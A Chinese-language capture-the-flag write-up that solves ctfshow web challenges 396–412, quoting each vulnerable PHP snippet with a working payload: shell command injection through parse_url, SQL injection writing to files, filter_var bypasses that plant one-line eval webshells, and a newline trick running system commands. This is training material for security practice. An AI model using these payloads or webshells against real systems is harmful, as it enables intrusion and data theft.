ctfshow web入门 其他 web396--web412

web396

 <?php
error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);shell_exec('echo '.$url['host'].'> '.$url['path']);}else{highlight_file(__FILE__);
} 

shell_exec('echo '.$url['host'].'> '.$url['path']);
这个是将url的host写入path,也就是说我们的path必须是一个文件路径，而host是一个命令的执行

在这里插入图片描述

?url=http://@$(tac fl0g.php)/var/www/html/1.txt
?url=http://@$(ls)/var/www/html/1.txt

web397

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 17:49:13
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);}else{highlight_file(__FILE__);
} 

?url=http://@$(tac fl0g.php)/../var/www/html/1.txt
/tmp/是在根目录下面直接返回上级路径即可

?url=http://1/1;echo `cat fl0g.php`>a.txt
用;将前面的命令闭合，然后执行命令

web398

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:00:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);if(!preg_match('/;/', $url['host'])){shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);}}else{highlight_file(__FILE__);
}

对host过滤了分号，没影响

web399

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:04:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);if(!preg_match('/;|>/', $url['host'])){shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);}}else{highlight_file(__FILE__);
}

没影响直接打

web400

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:13:14
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);if(!preg_match('/;|>|http|https/i', $url['host'])){shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);}}else{highlight_file(__FILE__);
}

还是没影响

web401

还可以弹回显，直接不就用哦本地了，但是没影响直接打

web402

 <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:35:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/#error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);var_dump($url);if(preg_match('/http|https/i', $url['scheme'])){die('error');}if(!preg_match('/;|>|\||base/i', $url['host'])){shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);}}else{highlight_file(__FILE__);
}

把http改成1就行

?url=1://@$(tac fl0g.php)/../var/www/html/1.txt

web 403

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:44:06
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);}}else{highlight_file(__FILE__);
}

这里说明了host必须是正常域名，我们就不能写命令了，只能用;闭合然后写命令

?url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt

web404

查看源代码
在这里插入图片描述

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-15 16:38:07
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-15 18:51:39
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['url'])){$url = parse_url($_GET['url']);if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);}}}else{highlight_file(__FILE__);
} 

?url=1.php://192.168.1.1;echo `cat f*` > 3.txt;1/a

web405

?url=1.php://192.168.1.1;echo `cat f*` > 3.txt;1/a
然后访问3.txt

在这里插入图片描述

web406

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 16:00:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){$sql = "select * from links where url ='{$url}'";$result = $conn->query($sql);
}else{echo '不通过';
}

进行sql注入

可以爆库名也可以不爆因为一般都是在当前数据库，所以我就没有爆
爆表名
?url=http://127.0.0.1/1.php'union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/into/**/outfile/**/'/var/www/html/3.txt#
爆列名
?url=http://127.0.0.1/1.php'union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/into/**/outfile/**/'/var/www/html/9.txt#
爆flag
?url=http://127.0.0.1/1.php'union/**/select/**/1,group_concat(flag)/**/from/**/flag/**/into/**/outfile/**/'/var/www/html/6.txt#
这么写主要是为了满足url的定义，并且闭合SQL语句实现注入，我尝试了很久

web407

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 17:24:13
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];if(filter_var ($ip,FILTER_VALIDATE_IP)){call_user_func($ip);
}class cafe{public static function add(){echo file_get_contents('flag.php');}
}

这里我们要调用cafe类里面的add方法，而检验完IP之后刚好会使用call_user_func进行函数的调用

?ip=cafe::add

web408

P师傅文章
里面讲了危险函数的绕过

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 19:53:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];if(filter_var ($email,FILTER_VALIDATE_EMAIL)){file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

explode('@', $email)
用@将参数分开并且将，@之前的写入，@之后的文件
filter_var ($email,FILTER_VALIDATE_EMAIL)
检查是否为正常的IP，这里我们可以使用双引号绕过
GET：
而且有空格格式就不对所以小马得这么写
?email="<?=eval($_POST[1])?>"@1.php

web409

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-16 14:58:50
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-16 20:26:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){$email=preg_replace('/.flag/', '', $email);eval($email);
}

我们最后会eval  email的所以我们可以使用这个payload
?email="flageval($_POST[1]);?>"@12138.com
这个?>是用来闭合这个网页的<?php 
然后正则函数刚好可以把"flag 替换为空，这样子就形成了我们的小马

web410

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-25 23:07:21
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-26 13:12:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){if($b=='true' || intval($b)>0){die('FLAG NOT HERE');}else{echo $flag;}
} 

filter_var ($b,FILTER_VALIDATE_BOOLEAN)函数特性
如果是 "1", "true", "on" 以及 "yes"，则返回 true。
如果是 "0", "false", "off", "no" 以及 ""，则返回 false。
否则返回 NULL。?b=on

web411

?b=yes

web412

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-25 23:07:21
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-26 16:19:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/highlight_file(__FILE__);$ctfshow=$_POST['ctfshow'];if(isset($ctfshow)){file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);include('flag.php');
}

这里的函数写的是将//和ctfshow进行一个拼接，那我们就可以使用一个换行进行绕过

POST:
ctfshow=%0asystem('tac f*');

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/839864.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

el-table-column两种方法处理特殊字段，插槽和函数

el-table-column两种方法处理特殊字段，插槽和函数

问题&#xff1a;后端返回的字段为数字 解决办法&#xff1a; {{ row[item.prop] 1 ? "启用" : "禁用" }} {{ row[item.prop] }} 最终果&#xff1a; 另外&#xff1a;如果多种状态时可用函数 {{ getStatus(row[item.prop]) }} {{ row[item.prop…
阅读更多...
IO游戏设计思路

IO游戏设计思路

1、TCP ,UDP ,KCP ,QUIC TCP 协议最常用的协议 UDP协议非常规的协议&#xff0c;因为需要在线广播&#xff0c;貌似运营商会有一些影响 KCP 基于UDP的协议&#xff0c;GitHub - l42111996/java-Kcp: 基于java的netty实现的可靠udp网络库(kcp算法)&#xff0c;包含fec实现&am…
阅读更多...
WEB攻防【2】——ASPX/.NET项目/DLL反编译/未授权访问/配置调试报错

WEB攻防【2】——ASPX/.NET项目/DLL反编译/未授权访问/配置调试报错

ASP&#xff1a;windowsiisaspaccess .net&#xff1a;windowsiisaspxsqlserver IIS上的安全问题也会影响到 WEB漏洞&#xff1a;本身源码上的问题 服务漏洞&#xff1a;1、中间件 2、数据库 3、第三方软件 #知识点: 1、.NET:配置调试-信息泄绵 2、.NET:源码反编译-DLL…
阅读更多...
【openlayers系统学习】3.5colormap详解（颜色映射）

【openlayers系统学习】3.5colormap详解（颜色映射）

五、colormap详解&#xff08;颜色映射&#xff09; ​colormap​ 包是一个很好的实用程序库&#xff0c;用于创建颜色图。该库已作为项目的依赖项添加&#xff08;1.7美化&#xff08;设置style&#xff09;&#xff09;。要导入它&#xff0c;请编辑 main.js​ 以包含以下行…
阅读更多...
【Numpy】深入解析numpy.mat()函数

【Numpy】深入解析numpy.mat()函数

numpy.mat()&#xff1a;深入探索NumPy中的矩阵类 &#x1f308; 欢迎莅临我的个人主页&#x1f448;这里是我深耕Python编程、机器学习和自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;并乐于分享知识与经验的小天地&#xff01;&#x1f387; &#x1f393; 博主简…
阅读更多...
Spring Cloud 系列之Gateway：(9)初识网关

Spring Cloud 系列之Gateway：(9)初识网关

传送门 Spring Cloud Alibaba系列之nacos&#xff1a;(1)安装 Spring Cloud Alibaba系列之nacos&#xff1a;(2)单机模式支持mysql Spring Cloud Alibaba系列之nacos&#xff1a;(3)服务注册发现 Spring Cloud 系列之OpenFeign&#xff1a;(4)集成OpenFeign Spring Cloud …
阅读更多...
使用霍尔效应传感或磁场传感技术的应用

使用霍尔效应传感或磁场传感技术的应用

随着支持技术的增强&#xff0c;使用霍尔效应传感或磁场传感技术的应用目前已变得有效。本技术文档介绍了霍尔效应技术&#xff0c;并对应用进行了回顾&#xff0c;特别是区分霍尔传感器 IC 的主要类型以及它们可以支持的各种传感行为。此外&#xff0c;它还探讨了一些使能技术…
阅读更多...
Spring Cache基本使用

Spring Cache基本使用

Spring 从 3.1 版本开始定义缓存抽象来统一不同的缓存技术&#xff1b;在应用层面与后端存储之间&#xff0c;提供了一层抽象&#xff0c;这层抽象目的在于封装各种可插拔的后端存储( ehcache, redis, guava)&#xff0c;最小化因为缓存给现有业务代码带来的侵入。 一、Spring…
阅读更多...
Vue从入门到实战Day11

Vue从入门到实战Day11

一、为什么要学Vue3 Vue3官网&#xff1a;简介 | Vue.js 1. Vue3的优势 2. Vue2选项式API vs Vue3组合式API 示例&#xff1a; 二、create-vue搭建Vue3项目 1. 认识create-vue create-vue是Vue官方新的脚手架工具&#xff0c;底层切换到了vite(下一代构建工具)&#xff0c;为…
阅读更多...
jenkins插件之Warnings

jenkins插件之Warnings

Warnings插件&#xff0c;收集静态分析工具报告的编译器警告或问题&#xff0c;并将结果可视化。它内置了对许多编译器的支持&#xff08;cpp&#xff0c;clang&#xff0c;java等&#xff09;和工具&#xff08;spotbugs&#xff0c;pmd&#xff0c;checkstyle&#xff0c;esl…
阅读更多...
Java操作Word文档，根据模板生成文件

Java操作Word文档，根据模板生成文件

Java操作Word文档 poi-tl介绍 官方文档&#xff1a;https://deepoove.com/poi-tl/ poi-tl&#xff08;poi template language&#xff09;是Word模板引擎&#xff0c;使用模板和数据创建很棒的Word文档。 在文档的任何地方做任何事情&#xff08;Do Anything Anywhere&#…
阅读更多...
el-select可选择可搜索可输入新内容

el-select可选择可搜索可输入新内容

需求&#xff1a;el-form-item添加el-select&#xff0c;并且el-select可选择可搜索可输入新内容&#xff0c;并且和其他的el-input做联动&#xff0c;如果是选择&#xff0c;那么el-input自动回填数据并且不可编辑&#xff0c;如果el-select输入新的内容&#xff0c;那么el-in…
阅读更多...
【NumPy】关于numpy.transpose()函数，看这一篇文章就够了

【NumPy】关于numpy.transpose()函数，看这一篇文章就够了

&#x1f9d1; 博主简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟&#xff0c;欢迎关注。提供嵌入式方向…
阅读更多...
如何使用 CapSolver 扩展找到 Google reCAPTCHA 站点密钥？

如何使用 CapSolver 扩展找到 Google reCAPTCHA 站点密钥？

网站安全性在当今至关重要&#xff0c;Google reCAPTCHA 作为防止垃圾邮件和滥用行为的前线防御系统起着关键作用。reCAPTCHA 站点密钥是确保网站交互由人类驱动的唯一标识符。了解如何找到这个密钥对于网站管理员和开发人员来说至关重要。 什么是 reCAPTCHA 站点密钥 reCAPT…
阅读更多...
MySQL主从复制（一）：主备一致

MySQL主从复制（一）：主备一致

MySQL主备的基本原理 如图所示就是基本的主备切换流程&#xff1a; 在状态1中&#xff0c; 客户端的读写都直接访问节点A&#xff0c; 而节点B是A的备库&#xff0c; 只是将A的更新都同步过来&#xff0c; 到本地执行。 这样可以保持节点B和A的数据是相同的。 当需要切换的时候…
阅读更多...
spark的简单学习一

spark的简单学习一

一 RDD 1.1 RDD的概述 1.RDD&#xff08;Resilient Distributed Dataset&#xff0c;弹性分布式数据集&#xff09;是Apache Spark中的一个核心概念。它是Spark中用于表示不可变、可分区、里面的元素可并行计算的集合。RDD提供了一种高度受限的共享内存模型&#xff0c;即RD…
阅读更多...
IDEA连接MySQL后如何管理数据库

IDEA连接MySQL后如何管理数据库

上一节讲解了IDEA如何连接MySQL数据库管理系统&#xff0c;接下来我们就可以在IDEA里使用MySQL来管理数据库了。那么如果我们现在还没有创建需要的数据库怎么办&#xff1f;本节就来教大家如何在IDEA连接MySQL后管理数据库(创建/修改/删除数据库、创建/修改/删除表、插入/更新/…
阅读更多...
电子招投标系统源码实现与立项流程：基于Spring Boot、Mybatis、Redis和Layui的企业电子招采平台

电子招投标系统源码实现与立项流程：基于Spring Boot、Mybatis、Redis和Layui的企业电子招采平台

随着企业的快速发展&#xff0c;招采管理逐渐成为企业运营中的重要环节。为了满足公司对内部招采管理提升的要求&#xff0c;建立一个公平、公开、公正的采购环境至关重要。在这个背景下&#xff0c;我们开发了一款电子招标采购软件&#xff0c;以最大限度地控制采购成本&#…
阅读更多...
【Vue2.x】props技术详解

【Vue2.x】props技术详解

1.什么是prop&#xff1f; 定义&#xff1a;组件标签上注册的一些自定义属性作用&#xff1a;向子组件传递数据特点 可以传递任意数量的prop可以传递任意类型的prop 2.prop校验 为了避免乱传数据&#xff0c;需要进行校验 完整写法 将之前props数组的写法&#xff0c;改为对象…
阅读更多...
【SQL Server001】SQLServer2016常用函数实战总结（已更新）

【SQL Server001】SQLServer2016常用函数实战总结（已更新）

1.熟悉、梳理、总结下SQL Server相关知识体系。 2.日常研发过程中使用较少&#xff0c;随着时间的推移&#xff0c;很快就忘得一干二净&#xff0c;所以梳理总结下&#xff0c;以备日常使用参考 3.欢迎批评指正&#xff0c;跪谢一键三连&#xff01; 总结源文件资源下载地址&am…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023